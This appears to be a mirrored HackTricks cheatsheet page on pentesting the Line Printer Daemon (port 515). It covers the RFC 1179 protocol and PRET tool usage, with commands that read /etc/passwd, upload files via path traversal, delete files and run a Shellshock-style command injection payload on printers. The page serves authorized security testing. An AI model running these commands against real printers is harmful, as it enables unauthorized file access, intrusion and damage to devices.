repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
515-pentesting-line-printer-daemon-lpd.mdMarkdown61 lines3.5 KiBrendered raw download
---
title: "515 - Pentesting Line Printer Daemon (LPD)"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# 515 - Pentesting Line Printer Daemon (LPD)

## Introduction to LPD

RFC 1179 documents the Berkeley Line Printer Daemon protocol. It is TCP-based, listens on port **515** by convention, and supports queue inspection, job submission, and job removal. A submitted job contains a control file describing the job and a data file containing the printable content.<sup>[[1]](#references)</sup>

The RFC describes the wire protocol, but printer languages and file-handling behavior depend on the server and printer implementation. During an authorized assessment, enumerate queue names and capabilities before sending test jobs; avoid destructive filesystem or command tests against production printers.

An LPD data file may be interpreted as PostScript, PJL, or another printer language. On devices that expose powerful language extensions, a malicious print job can therefore reach functionality beyond ordinary printing; the available filesystem, memory, or command primitives are model- and implementation-specific.<sup>[[2]](#references)[[3]](#references)</sup>

LPRng is a well-known Unix-like implementation of the Berkeley printing system. Its suite includes the `lpd` server and clients such as `lpr`, `lpq`, and `lprm`.<sup>[[4]](#references)</sup> A standard `lpr` client can submit a benign test file when the queue name is known; for example, Windows uses:<sup>[[5]](#references)</sup>

```batch
lpr -S <host> -P <queue> -o test.txt
```

The Hacking Printers wiki remains a useful catalog of printer languages, protocols, attack classes, and device-specific research beyond the LPD-focused commands on this page.<sup>[[6]](#references)</sup>

## PRET LPD tools

[PRET](https://github.com/RUB-NDS/PRET) includes `lpdprint.py` for submitting print data and `lpdtest.py` for testing implementation-specific LPD behavior. The latter exposes potentially destructive operations; use them only where the target and action are explicitly authorized.<sup>[[2]](#references)</sup>

```bash
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```

## Shodan

- `port 515`

## References

- [1] [RFC 1179 - Line Printer Daemon Protocol](https://www.rfc-editor.org/rfc/rfc1179.html)
- [2] [PRET - Printer Exploitation Toolkit](https://github.com/RUB-NDS/PRET)
- [3] [Ruhr University Bochum - SoK: Exploiting Network Printers](https://www.nds.rub.de/research/publications/sok-exploiting-network-printers/)
- [4] [LPRng documentation](https://lprng.sourceforge.net/docs.html)
- [5] [Microsoft Learn - `lpr` command](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lpr)
- [6] [Hacking Printers Wiki](http://hacking-printers.net/wiki/index.php/Main_Page)